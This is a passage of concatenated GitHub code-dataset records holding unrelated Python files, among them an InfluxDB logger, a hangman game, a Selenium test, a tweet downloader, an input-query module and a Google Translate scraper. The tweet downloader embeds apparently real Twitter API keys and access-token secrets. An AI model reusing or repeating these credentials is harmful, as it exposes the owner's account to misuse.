ex.name)\n span.set_attribute('http.error_message', ex.description)\n\n response.content_type = \"application/json\"\n return response\n","repo_name":"salliko/async_api","sub_path":"auth-solution/src/utils/error_handler.py","file_name":"error_handler.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"69853102987","text":"from datetime import datetime\nfrom typing import (\n Dict,\n List,\n Union,\n)\n\nfrom influxdb import InfluxDBClient\nimport pandas as pd\nfrom pukr import PukrLog\n\nfrom kavalkilu.date import DateTools\nfrom kavalkilu.net import (\n Hosts,\n NetTools,\n)\nfrom kavalkilu.path import HOME_SERVER_HOSTNAME\n\n\nclass InfluxTable:\n \"\"\"Class for combining influx table name with the database it's stored in\"\"\"\n def __init__(self, db: str, name: str):\n self.table = name\n self.database = db\n\n\nclass InfluxDBHomeAuto:\n \"\"\"homeauto Influx database + tables\"\"\"\n database = 'homeauto'\n CPU = InfluxTable(database, 'cpu')\n CPUTEMP = InfluxTable(database, 'cputemp')\n DISK = InfluxTable(database, 'disk')\n LOGS = InfluxTable(database, 'logs')\n MACHINES = InfluxTable(database, 'machine-activity')\n MEM = InfluxTable(database, 'mem')\n NETSPEED = InfluxTable(database, 'net-speed')\n TEMPS = InfluxTable(database, 'temps')\n WEATHER = InfluxTable(database, 'weather')\n\n\nclass InfluxDBPiHole:\n \"\"\"pihole Influx database + tables\"\"\"\n database = 'pihole'\n QUERIES = InfluxTable(database, 'queries')\n\n\nclass InfluxDBTracker:\n \"\"\"tracker Influx database + tables\"\"\"\n database = 'tracker'\n APT_PRICES = InfluxTable(database, 'apt_prices')\n\n\nclass InfluxDBLocal(InfluxDBClient):\n def __init__(self, dbtable: InfluxTable, app_name: str = 'unnamed app',\n timezone: str = 'US/Central'):\n h = Hosts()\n self.database = dbtable.database\n self.table = dbtable.table\n self.machine = NetTools.get_hostname()\n self.app_name = app_name\n super().__init__(h.get_ip_from_host(HOME_SERVER_HOSTNAME), 8086, database=self.database)\n self.dt = DateTools()\n self.local_tz = timezone\n self.utc = 'UTC'\n\n def _build_json(self, row: pd.Series, tags: List[str],\n value_cols: List[str], time_col: str = None) -> Dict:\n \"\"\"Builds a single JSON object for a single item in a dataframe row\n NOTE: If time_col is None, the current time will be used.\n \"\"\"\n json_dict = {\n 'measurement': self.table,\n 'tags': {x: row[x] for x in tags},\n 'fields': {x: row[x] for x in value_cols}\n }\n if time_col is not None:\n json_dict['time'] = self.dt.local_time_to_utc(row[time_col], local_tz=self.local_tz, as_str=True)\n\n return json_dict\n\n def write_single_data(self, tag_dict: Dict, field_dict: Dict, timestamp: datetime = None):\n \"\"\"Writes a single group of data to the designated table\"\"\"\n json_dict = {\n 'measurement': self.table,\n 'tags': tag_dict,\n 'fields': field_dict\n }\n if timestamp is not None:\n json_dict['time'] = self.dt.local_time_to_utc(timestamp, local_tz=self.local_tz, as_str=True)\n self.write_points([json_dict])\n\n def write_df_to_table(self, df: pd.DataFrame, tags: Union[List[str], str],\n value_cols: Union[List[str], str], time_col: str = None):\n \"\"\"Writes a dataframe to the database\"\"\"\n if isinstance(value_cols, str):\n value_cols = [value_cols]\n if isinstance(tags, str):\n tags = [tags]\n\n batch = []\n for idx, row in df.iterrows():\n batch.append(self._build_json(row, tags, value_cols, time_col))\n\n self.write_points(batch)\n\n def read_query_to_dataframe(self, query: str, time_col: str = None) -> pd.DataFrame:\n \"\"\"Reads a query to pandas dataframe\"\"\"\n result = self.query(query)\n series = result.raw['series']\n if len(series) == 0:\n return pd.DataFrame()\n result_df = pd.DataFrame()\n for s in series:\n columns = s.get('columns', [])\n values = s.get('values', [])\n df = pd.DataFrame(data=values, columns=columns)\n if s.get('tags') is not None:\n for k, v in s.get('tags', {}).items():\n df[k] = v\n result_df = result_df.append(df)\n result_df = result_df.reset_index(drop=True)\n # Convert time column to local\n if time_col is not None:\n # Convert the time column to Central TZ\n result_df[time_col] = pd.to_datetime(result_df[time_col]).dt\\\n .tz_convert('US/Central').dt.strftime('%F %T')\n\n return result_df\n\n def log_exception(self, err_obj: Exception):\n err_txt = str(err_obj)\n err_class = err_obj.__class__.__name__ if err_obj is not None else 'NA'\n log_dict = {\n 'machine': self.machine,\n 'name': self.app_name,\n 'level': 'ERROR',\n 'class': err_class,\n 'text': err_txt\n }\n field_dict = {\n 'entry': 1\n }\n self.write_single_data(tag_dict=log_dict, field_dict=field_dict)\n\n def influx_exception_decorator(self, logger: PukrLog):\n \"\"\"\n Decorator for capturing exceptions and logging them to influx and the log object\n\n Example:\n >>>@inflx.influx_exception_decorator(logger=log)\n >>>def my_func():\n >>> return 'whatever'\n \"\"\"\n def decorator(func):\n def wrapper(*args, **kwargs):\n try:\n return func(*args, **kwargs)\n except Exception as e:\n # Log exception\n self.log_exception(e)\n logger.exception(e)\n # Re-raise exception\n raise\n return wrapper\n return decorator\n\n def influx_exception_hook(self, exc_type, exc_value, exc_traceback):\n \"\"\"\n Exception catcher for use with sys.excepthook\n\n Note:\n Use with the decorator is not recommended - this will result in duplication of the exception logged\n\n Example:\n >>> sys.excepthook = inflx.influx_exception_hook\n \"\"\"\n self.log_exception(exc_value)\n raise exc_value\n\n\nif __name__ == '__main__':\n import sys\n\n from pukr import get_logger\n\n inflx = InfluxDBLocal(dbtable=InfluxDBHomeAuto.LOGS, app_name='test_app')\n log = get_logger('test_log')\n sys.excepthook = inflx.influx_exception_hook\n\n @inflx.influx_exception_decorator(logger=log)\n def thang():\n return 1/0\n\n thang()\n","repo_name":"barretobrock/kavalkilu","sub_path":"kavalkilu/influx.py","file_name":"influx.py","file_ext":"py","file_size_in_byte":6407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"26001337653","text":"from random import choice\nimport re\n\nwords = [\"chuck\", \"aeroplane\", \"development\"]\n\ndef wordHider(word):\n count = len(word)\n return [\"_\"] * count\n\ndef combineListLetters(arg):\n word = \"\"\n for i in arg:\n word += i\n return word\n\ndef wordPlayer():\n\n word = choice(words)\n playing = True\n wrong_count = 0\n complete = wordHider(word)\n selected_word = word\n while playing:\n print(combineListLetters(complete))\n letter = input(\"Letter: \")\n if letter in selected_word:\n indexes = [i.start() for i in re.finditer(letter, word)]\n for index in indexes:\n complete[index] = letter\n print(combineListLetters(complete))\n else:\n wrong_count += 1\n\n if selected_word == combineListLetters(complete) or wrong_count == 10:\n playing = False\n\n\n","repo_name":"taffy21/hangman","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"701121090","text":"# @Time : 2020/10/11 22:51\n# @Author : 30037\n# @Email : 960364395@qq.com\n# @File : print-order.py\n# @Project : test_ecshop\nfrom testcase.base_case import BaseCase\nfrom page.orderlist_page import OrderListPage\nfrom page.home_page import HomePage\nfrom selenium.webdriver.common.by import By\nfrom time import sleep\nfrom page.base_page import BasePage\nfrom page.print_page import PrintPage\n\n\"\"\"打印订单\"\"\"\nclass printOrder(BaseCase):\n\n order_tbody_locator = (By.XPATH, '//*[@id=\"listDiv\"]/table[1]/tbody')\n assert_word = \"订单信息\"\n #打印订单,用例编号(ECshop_ST_ddgl_008)\n def test_print_order(self):\n #进入订单页面\n hp = HomePage(self.driver)\n sleep(1)\n hp.click(hp.orderlist_locator)\n sleep(1)\n #切换到main-frame\n bp = BasePage(self.driver)\n bp.switch_main_frame()\n sleep(1)\n #选中订单\n op = OrderListPage(self.driver)\n op.click(op.click_order_locator)\n sleep(1)\n #点击打印订单\n op.click(op.print_locator)\n sleep(1)\n #切换到新开窗口订单打印界面\n bp.switch_window()\n #断言\n pp = PrintPage(self.driver)\n text = bp.text(pp.printorder_word_locator)\n self.assertEqual(self.assert_word,text)\n\n","repo_name":"yuting-web/ecshop_test","sub_path":"testcase/print_order_case.py","file_name":"print_order_case.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"34405059058","text":"from data_classes import *\n\n\n\n\ndef resolveCollision(a, b):\n #relative velocity\n rv = b.velocity - a.velocity\n\n #relative velocity along normal\n velAlongNormal = rv * normal\n\n #do not resolve if they are heading away from eachother\n if (velAlongNormal > 0):\n return\n e = min(a.restitution, b.restitution)\n\n #impulse scalar\n j = -(1.0+e) * velAlongNormal\n j /= 1.0 / a.mass + 1.0 / b.mass\n\n impulse = Point(j * normal.x, j * normal.y)\n a.velocity -= impulse / a.mass\n b.velocity += impulse / b.mass\n","repo_name":"SallyComer/PysicsEngine","sub_path":"collide.py","file_name":"collide.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"16779764876","text":"import tweepy\r\nfrom os import listdir\r\nimport pickle\r\n\r\n# API Auth\r\nAPI_KEY = \"UL3Q8hMA74wRB5RykuCnCJxkm\"\r\nAPI_SECRET = \"WJuehel0rp0wPq8T2MdULr3Hxb21DSZfZXI94oqkV6U0zz00Db\"\r\nACCESS_TOKEN = \"1970308164-GCFz3fDbgt95gs9VkbtHi0yzhTN9f8FjfbE2Ciw\"\r\nACCESS_TOKEN_SECRET = \"jZ1KL5BbHlqIEsM4qSqN2fmvu0vN4cIay2vQxy9mE6xgP\"\r\n\r\nauth = tweepy.OAuthHandler(API_KEY, API_SECRET)\r\nauth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET)\r\n\r\napi = tweepy.API(auth)\r\n# API Auth over\r\n\r\nprint(\"Authenticated !!!\")\r\n\r\ndef save_obj(obj, name ):\r\n with open( name + '.pkl', 'wb') as f:\r\n pickle.dump(obj, f, protocol=2)\r\n\r\ndef load_obj(name ):\r\n with open( name + '.pkl', 'rb') as f:\r\n return pickle.load(f)\r\ndef chunks(l, n, maxI):\r\n return [l[i:i + n] for i in range(n*maxI, len(l), n)]\r\ndef goto(linenum):\r\n global line\r\n line = linenum\r\n\r\n\r\nfiles = listdir(\"Subset Train ID(100,000)(6 Emo)/\")\r\n\r\nfor f in files:\r\n\tf = f.replace(\".pkl\",\"\")\r\n\tlistID = load_obj(\"Subset Train ID(100,000)(6 Emo)/\"+f)\r\n\r\n\t# for resume downlaod\r\n\tfi = listdir(\"Subset Train ID(100,000)(6 Emo)/Tweets/\"+f+\"/\")\r\n\tdone = []\r\n\tfor i in fi:\r\n\t\tdone.append(int(i.replace(\".pkl\",\"\")))\r\n\tif not done:\r\n\t\tmaxID=0\r\n\telse:\r\n\t\tmaxID = max(done)\r\n\ti = maxID+1\r\n\t#######\r\n\tfor sub in chunks(listID,100,maxID):\r\n\t\ttry:\r\n\t\t\tstatuses = api.statuses_lookup(sub)\r\n\t\t\tstatuses = [s.text for s in statuses]\r\n\t\t\tsave_obj(statuses,\"Subset Train ID(100,000)(6 Emo)/Tweets/\"+f+\"/\"+str(i))\r\n\t\t\tprint(\"Chunk \" +f+str(i)+ \" Done.\")\r\n\t\t\ti+=1\r\n\t\texcept:\r\n\t\t\tprint(\"Retrying...\")\r\n\t\t\tgoto(51)\r\n\r\n\r\n# Testing....\r\n# statuses = api.statuses_lookup([\"147750646089658368\",\"135724218678657024\",\"137348837869240320\"])\r\n\r\n# for s in statuses:\r\n# \tprint(s.text)","repo_name":"tpsatish95/emotion-detection-from-text","sub_path":"datasets/tweets/Tweet_Download_Code/tweet_API_D.py","file_name":"tweet_API_D.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"81"} +{"seq_id":"41856520537","text":"from tkinter import *\n\nwindow = Tk()\nwindow.minsize(500, 400)\n\nlabel = Label(text=\"I am init label\")\nlabel.grid(column=0, row=0)\n\n\ndef change_text():\n label.config(text=input.get())\n\n\nbutton_1 = Button(text=\"Button_1\", command=change_text)\nbutton_1.grid(column=1, row=1)\n\nbutton_2 = Button(text=\"Button_2\", command=change_text)\nbutton_2.grid(column=2, row=0)\n\n\ninput = Entry(width=50)\ninput.grid(column=3, row=3)\n\n\nwindow.mainloop()\n","repo_name":"Pawo90/100-Days-Coding","sub_path":"PROJECTS/TKinter/Intro/01_Tkinter_intro.py","file_name":"01_Tkinter_intro.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"72943325385","text":"# 바이러스\nn = int(input())\nk = int(input())\n\nadj = [[] for _ in range(n+1)]\n\nfor _ in range(k):\n a, b = map(int, input().split(\" \"))\n adj[a].append(b)\n adj[b].append(a)\n\nvisited = [False] * (n+1)\n\nret = 0\n\ndef dfs(start):\n visited[start]=True\n \n for next in adj[start]:\n if not(visited[next]):\n global ret\n ret += 1\n dfs(next)\n\ndfs(1)\nprint(ret)\n","repo_name":"didrlgus/algorithm-python","sub_path":"baekjoon/2606.py","file_name":"2606.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"37281244886","text":"\"\"\"\nQuery classes for requesting user input from the command line.\n\nInputs are validated based on expected input for the class. Invalid inputs can\neither repeat input request or raise an error.\n\nFor example, if you wanted to get a float value between 0 and 10, you could\nwrite:\n\n In [1]: q = query.FloatQuery('Enter a number: ', limits=(0, 10))\n\n In [2]: n = q()\n Enter a number: 100\n Invalid input: 100, expected float between 0 and 10.\n Enter a number: 1\n\nAnd the return value (`n` above) will be the validated user input.\n\n\"\"\"\nimport sys\nimport operator\n\nimport numpy as np\n\n\n__all__ = ['Query', 'FloatQuery', 'IntQuery', 'ChoiceQuery', 'Confirm', 'Quit']\n\n\nclass Query(object):\n \"\"\"Query user for input and verify input before returning.\n\n Parameters\n ----------\n msg : str\n Message to user requesting input.\n behavior : {'loop' | 'error'}\n Behavior when user inputs unknown input.\n quit : str\n Input value used to quit query; `None` is returned when quitting.\n notification_msg : str\n Format string that's printed when the input is invalid.\n \"\"\"\n default_notification_msg = \"Invalid input: {user_input}\"\n\n def __init__(self, msg, behavior='loop', quit=None, notification_msg=None):\n\n self.msg = msg\n self.behavior = behavior\n self.quit = quit\n\n if notification_msg is None:\n notification_msg = self.default_notification_msg\n self.notification_msg = notification_msg\n self.notification_kws = {}\n\n def __call__(self):\n \"\"\"Query user for input and validate it.\"\"\"\n while 1:\n user_input = raw_input(self.msg)\n if self.quit is not None and user_input == self.quit:\n return\n\n try:\n validated = self.validate(user_input)\n return validated\n except ValueError:\n pass\n\n # Input is invalid.\n error_msg = self.notification_msg.format(user_input=user_input,\n **self.notification_kws)\n if self.behavior == 'error':\n raise ValueError(error_msg)\n else:\n print(error_msg)\n\n def validate(self, user_input):\n \"\"\"Return valid input from user_input. If invalid, raise ValueError\"\"\"\n return user_input\n\n\nclass FloatQuery(Query):\n \"\"\"Query user for float input and verify value within specified limits.\n\n Parameters\n ----------\n msg : str\n Message to user requesting input.\n limits : 2-tuple\n Valid input must be between specified limits. If None, any input is\n accepted. If first (second) limit is None, then the input must be less\n (greater) than second (first) limit. If neither limit is None, then the\n input must be within the specified limits.\n comparison : {'open' | 'closed'} or (str, str)\n If 'open', input must be less-(or greater-)than or equal-to the limits.\n If 'closed', input must be strictly less-(or greater-)than the limits.\n Different comparisons can be used for the lower and upper bound using\n a of 'open' and 'closed'.\n behavior : {'loop' | 'error'}\n Behavior when user inputs unknown input.\n quit : str\n Input value used to quit query; `None` is returned when quitting.\n notification_msg : str\n Format string that's printed when the input is invalid.\n \"\"\"\n\n notification_nolimits = \"Invalid input: {user_input}, expected float.\"\n notification_greater = (\"Invalid input: {user_input}, expected float \"\n \"greater than {lower_limit}.\")\n notification_less = (\"Invalid input: {user_input}, expected float \"\n \"less than {upper_limit}.\")\n notification_within = (\"Invalid input: {user_input}, expected float \"\n \"between {lower_limit} and {upper_limit}.\")\n\n comparison_ops = dict(open=operator.lt, closed=operator.le)\n\n def __init__(self, msg, limits=None, comparison='closed',\n notification_msg=None, **kwargs):\n Query.__init__(self, msg, **kwargs)\n\n self.notification_kws = {}\n\n if notification_msg is not None:\n self.notification_msg = notification_msg\n elif limits is None:\n self.notification_msg = self.notification_nolimits\n limits = (None, None)\n elif not np.iterable(limits) or not len(limits) == 2:\n raise ValueError(\"Invalid input for `limits`: %s\" % limits)\n elif limits[1] is None:\n self.notification_msg = self.notification_greater\n self.notification_kws = dict(lower_limit=limits[0])\n elif limits[0] is None:\n self.notification_msg = self.notification_less\n self.notification_kws = dict(upper_limit=limits[1])\n else:\n self.notification_msg = self.notification_within\n self.notification_kws = dict(lower_limit=limits[0],\n upper_limit=limits[1])\n\n limits = list(limits)\n if limits[0] == None:\n limits[0] = -np.inf\n if limits[1] == None:\n limits[1] = np.inf\n\n if isinstance(comparison, basestring):\n comparison = (comparison,) * 2\n\n above = lambda x: self.comparison_ops[comparison[0]](limits[0], x)\n below = lambda x: self.comparison_ops[comparison[1]](x, limits[1])\n self.within_limits = lambda x: above(x) and below(x)\n\n def validate(self, user_input):\n number = float(user_input)\n if not self.within_limits(number):\n raise ValueError()\n return number\n\n\nclass IntQuery(FloatQuery):\n \"\"\"Query user for integer input and verify value within specified limits.\n\n Parameters\n ----------\n msg : str\n Message to user requesting input.\n limits : 2-tuple\n Valid input must be between specified limits. If None, any input is\n accepted. If first (second) limit is None, then the input must be less\n (greater) than second (first) limit. If neither limit is None, then the\n input must be within the specified limits.\n comparison : {'open' | 'closed'} or (str, str)\n If 'open', input must be less-(or greater-)than or equal-to the limits.\n If 'closed', input must be strictly less-(or greater-)than the limits.\n Different comparisons can be used for the lower and upper bound using\n a of 'open' and 'closed'.\n strict : bool\n If True, input must not be a float value (i.e. have a decimal point)\n behavior : {'loop' | 'error'}\n Behavior when user inputs unknown input.\n quit : str\n Input value used to quit query; `None` is returned when quitting.\n notification_msg : str\n Format string that's printed when the input is invalid.\n \"\"\"\n\n notification_nolimits = \"Invalid input: {user_input}, expected int.\"\n notification_greater = (\"Invalid input: {user_input}, expected int \"\n \"greater than {lower_limit}.\")\n notification_less = (\"Invalid input: {user_input}, expected int \"\n \"less than {upper_limit}.\")\n notification_within = (\"Invalid input: {user_input}, expected int \"\n \"between {lower_limit} and {upper_limit}.\")\n\n def __init__(self, msg, strict=False, **kwargs):\n FloatQuery.__init__(self, msg, **kwargs)\n self.strict = strict\n\n def validate(self, user_input):\n if not self.strict and '.' in user_input:\n i = user_input.find('.')\n user_input = user_input[:i]\n\n number = int(user_input)\n\n if not self.within_limits(number):\n raise ValueError()\n return number\n\n\nclass ChoiceQuery(Query):\n \"\"\"Query user for input and verify input is one of the allowed choices.\n\n Parameters\n ----------\n msg : str\n Message to user requesting input.\n choices : list of strs\n Valid user inputs.\n behavior : {'loop' | 'error'}\n Behavior when user inputs unknown input.\n quit : str\n Input value used to quit query; `None` is returned when quitting.\n notification_msg : str\n Format string that's printed when the input is invalid.\n \"\"\"\n\n default_notification_msg = (\"Invalid input: {user_input}, expected one \"\n \"of the following {choices}.\")\n\n def __init__(self, msg, choices, **kwargs):\n Query.__init__(self, msg, **kwargs)\n\n if self.quit in choices:\n raise ValueError(\"Quit token: '%s' should not be in `choices`. \"\n \"Set `quit` param to change token.\" % self.quit)\n self.choices = choices\n self.notification_kws = dict(choices=choices)\n\n def validate(self, user_input):\n user_input = user_input.strip()\n if not user_input in self.choices:\n raise ValueError()\n return user_input\n\n\nclass Confirm(ChoiceQuery):\n \"\"\"Query user for yes ('y') or no ('n') input.\n\n Parameters\n ----------\n msg : str\n Message to user requesting input.\n return_bool : bool\n If True, return True when choice is 'y' and False when choice is 'n'.\n \"\"\"\n map_bool = dict(y=True, n=False)\n\n def __init__(self, msg=\"Confirm (y/n): \", return_bool=True,\n behavior='loop'):\n self.return_bool = return_bool\n ChoiceQuery.__init__(self, msg, ['y', 'n'], behavior=behavior)\n\n def __call__(self):\n response = ChoiceQuery.__call__(self)\n if self.return_bool and response in self.map_bool:\n response = self.map_bool[response]\n return response\n\n\nclass Quit(Confirm):\n \"\"\"Confirm quit (call to `sys.exit()`).\n\n Parameters\n ----------\n msg : str\n Message to user requesting input.\n quit_message : str\n Message printed before calling `sys.exit()`.\n \"\"\"\n map_bool = dict(y=True, n=False)\n\n def __init__(self, msg=\"Quit (y/n): \", quit_message=None, **kwargs):\n Confirm.__init__(self, msg, return_bool=True, **kwargs)\n self.quit_message = quit_message\n\n def __call__(self):\n response = Confirm.__call__(self)\n if response:\n self.do_quit()\n return response\n\n def do_quit(self):\n if self.quit_message is not None:\n print(self.quit_message)\n sys.exit()\n\n","repo_name":"tonysyu/yutils","sub_path":"yutils/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":10433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"70475903624","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author:Irving\n\n'''\nshelve模块是一个简单的k, v将内存数据通过文件持久化的模块,可以持久化任何pickle可支持的python数据格式。\n是pickle 的高级封装, 可多次load and dump\n'''\n\nimport shelve\n\n# f = shelve.open('shelve_test') # 打开一个文件\n#\n# names = ['alex', 'rain', 'test']\n# info = {'name': 'alex', 'age': 22}\n#\n# f['names'] = names\n# f['info_dic'] = info\n#\n# f.close\n\nd = shelve.open('shelve_test') # 打开一个文件\nd['names'] = ['alex', 'irving', 'rain']\n\nprint(d.get('names'))\nprint(d['info_dic'])\n","repo_name":"Xuchaoqiang/Luffycity","sub_path":"第二模块/第四章/shelve模块.py","file_name":"shelve模块.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"34175919557","text":"#!/usr/bin/python3\n\nimport re\nimport numpy as np\n\nwith open('input.txt', 'r') as f:\n lines = f.read().splitlines()\n\ntotal = 0\n\ndecoded_to_num = {\n 'abcefg': 0,\n 'cf': 1,\n 'acdeg': 2,\n 'acdfg': 3,\n 'bcdf': 4,\n 'abdfg': 5,\n 'abdefg': 6,\n 'acf': 7,\n 'abcdefg': 8,\n 'abcdfg': 9,}\n\nfor line in lines:\n sequences = line.split(' ')\n assert sequences[10] == '|'\n observations = sequences[:10]\n output_seq = sequences[11:]\n assert len(output_seq) == 4\n \n observations.sort(key=len)\n\n candidate_cf = list()\n candidate_a = list()\n candidate_bd = list()\n candidate_d = list()\n candidate_b = list()\n candidate_g = list()\n candidate_f = list()\n candidate_c = list()\n candidate_e = list()\n\n for letter in observations[0]:\n candidate_cf.append(letter)\n for letter in observations[1]:\n if letter not in candidate_cf:\n candidate_a = [letter]\n for letter in observations[2]:\n if letter not in candidate_cf:\n candidate_bd.append(letter)\n\n for i in [3, 4, 5]:\n num_match_cf = 0\n num_match_a = 0\n num_match_none = 0\n for letter in observations[i]:\n if letter in candidate_cf:\n num_match_cf += 1\n elif letter in candidate_a:\n num_match_a += 1\n else:\n num_match_none += 1\n if num_match_cf == 2 and num_match_a == 1 and num_match_none == 2:\n # This is number 3.\n for letter in observations[i]:\n if letter in candidate_cf:\n pass\n elif letter in candidate_a:\n pass\n else:\n if letter in candidate_bd:\n candidate_d = [letter]\n for bd in candidate_bd:\n if bd != letter:\n candidate_b = [bd]\n else:\n candidate_g = [letter]\n\n for i in [3, 4, 5]:\n num_match_a = 0\n num_match_b = 0\n num_match_d = 0\n num_match_g = 0\n num_match_none = 0\n for letter in observations[i]:\n if letter in candidate_a:\n num_match_a += 1\n elif letter in candidate_b:\n num_match_b += 1\n elif letter in candidate_d:\n num_match_d += 1\n elif letter in candidate_g:\n num_match_g += 1\n else:\n none_letter = letter\n num_match_none += 1\n if (num_match_a == 1 and num_match_b == 1 and num_match_d == 1 and\n num_match_g == 1 and num_match_none == 1):\n # This is number 5.\n candidate_f = [none_letter]\n for cf in candidate_cf:\n if cf != none_letter:\n candidate_c = [cf]\n\n for letter in ['a', 'b', 'c', 'd', 'e', 'f', 'g']:\n if letter not in (\n candidate_a + \n candidate_b + \n candidate_c + \n candidate_d + \n # e is missing.\n candidate_f + \n candidate_g):\n candidate_e = [letter]\n\n mapping = {\n candidate_a[0]: 'a',\n candidate_b[0]: 'b',\n candidate_c[0]: 'c',\n candidate_d[0]: 'd',\n candidate_e[0]: 'e',\n candidate_f[0]: 'f',\n candidate_g[0]: 'g'}\n\n output = 0\n for i, code in enumerate(output_seq):\n new_code = list()\n for letter in code:\n new_code.append(mapping[letter])\n new_code.sort()\n new_code_string = ''.join(new_code)\n val = decoded_to_num[new_code_string]\n output += (10 ** (3-i)) * val\n print((code, new_code_string, val))\n total += output\n print(output)\n \n\n\nprint(total)\n\n\n","repo_name":"mgeorg/advent_of_code2021","sub_path":"day08/day8p2.py","file_name":"day8p2.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"16036001403","text":"import requests\nimport urllib\nimport re\nimport json\nimport execjs\n\nclass Goole_translate():\n def __init__(self):\n self.url_base = 'https://translate.google.cn'\n self.headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36'}\n self.get_tkk()\n\n def get_tkk(self):\n page = requests.get(self.url_base, headers= self.headers )\n tkks = re.findall(r\"TKK='(.+?)';\", page.text)\n if tkks:\n self.tkk = tkks[0]\n return self.tkk\n else:\n raise ('no found tkk')\n\n def translate(self, query_string):\n last_url = self.get_last_url(query_string)\n response = requests.get(last_url, headers=self.headers)\n if response.status_code != 200:\n self.get_tkk()\n last_url = self.get_last_url(query_string)\n response = requests.get(last_url, headers=self.headers)\n\n content = response.content # bytes类型\n text = content.decode() # str类型 , 两步可以用text=response.text替换\n dict_text = json.loads(text) # 数据是json各式\n result = dict_text[0][0][0]\n return result\n\n def get_tk(self, query_string):\n tem = execjs.compile(open(r\"gettk.js\").read())\n tk = tem.call('tk', query_string, self.tkk)\n return tk\n\n def query_string(self, query_string):\n '''将字符串转换为utf8格式的字符串,本身已utf8格式定义的字符串可以不需要'''\n query_url_trans = urllib.parse.quote(query_string) # 汉字url编码, 转为utf-8各式\n return query_url_trans\n\n def get_last_url(self, query_string):\n url_parm = 'sl=en&tl=zh-CN'\n for uchar in query_string:\n if uchar >= u'\\u4e00' and uchar <= u'\\u9fa5':\n url_parm = 'sl=zh-CN&tl=en'\n break\n\n url_param_part = self.url_base + \"/translate_a/single?\"\n url_param = url_param_part + \"client=t&\"+ url_parm+\"&hl=zh-CN&dt=at&dt=bd&dt=ex&dt=ld&dt=md&dt=qca&dt=rw&dt=rm&dt=ss&dt=t&ie=UTF-8&oe=UTF-8&source=btn&ssel=3&tsel=3&kc=0&\"\n url_get = url_param + \"tk=\" + str(self.get_tk(query_string)) + \"&q=\" + str(self.query_string(query_string))\n return url_get\n\nif __name__==\"__main__\":\n query_string = 'how are you'\n gt = Goole_translate()\n en = gt.translate(query_string)\n print(en)\n\n\n\n","repo_name":"zoulala/Spiders","sub_path":"translates/goole_trans.py","file_name":"goole_trans.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"81"} +{"seq_id":"28773692008","text":"import json\nfrom dataclasses import asdict\n\nimport requests\n\nfrom geektime_0.service.petclinic.utils.log import log\nfrom geektime_0.service.wework.api.calendar_http_api import CalendarHttpApi\nfrom geektime_0.service.wework.model.calendar import Calendar\nfrom geektime_0.service.wework.model.portal import Portal\n\n\nclass PortalHttpApi(Portal):\n def list(self, *calendar_id_list):\n # wcQKd-CgAAgDDL6syolIfnm3GEOKeMZw\n r = requests.post(\n 'https://qyapi.weixin.qq.com/cgi-bin/oa/calendar/get',\n params={'access_token': self.session.get_token()},\n json={'cal_id_list': calendar_id_list}\n )\n\n log.debug(r.json())\n\n calendar_list = []\n for item in r.json()['calendar_list']:\n calendar = Calendar()\n calendar.summary = item['summary']\n calendar.color = item['color']\n calendar.organizer = item['organizer']\n calendar_list.append(calendar)\n\n return calendar_list\n\n def get(self, calendar_id):\n calendar = self.list(calendar_id)[0]\n return CalendarHttpApi(self.session, calendar)\n","repo_name":"cjy452762/TRp7","sub_path":"geektime_0-master/geektime_0/service/wework/api/portal_http_api.py","file_name":"portal_http_api.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"26255927497","text":"def print_letters(txt):\r\n let = len(txt) # how long will the loop turn\r\n a = 0\r\n for i in range(0, let-1):\r\n if txt[a] == \"\":\r\n continue\r\n print(txt[a], end='-')\r\n a += 1\r\n\r\n if txt == \"\": #for empty entry\r\n print(\"\")\r\n else:\r\n print(txt[-1]) # fence post problem\r\nprint_letters(\"\")","repo_name":"Rawgreen/CodeStepByStep_Python_","sub_path":"print_letters.py","file_name":"print_letters.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"10718683690","text":"import re\nimport unittest\nfrom io import BytesIO\nfrom pathlib import Path\nfrom zipfile import ZipFile\n\nfrom energostat.app import html2xml_bytes\nfrom energostat.utils import timeit\n\n\nclass TestUtils(unittest.TestCase):\n RE_TIMESTAMP = re.compile(r'.*')\n\n @timeit\n def test_app(self):\n pwd = Path(__file__).parent\n f_in = self._make_zip_input(pwd)\n f_out = html2xml_bytes(f_in)\n files = self._read_zip_files(f_out)\n self.assertEqual(len(files), 32, 'File count differs')\n for name, content in files:\n from_zip = self._fix_timestamp(str(content, encoding='cp1251'))\n expect = 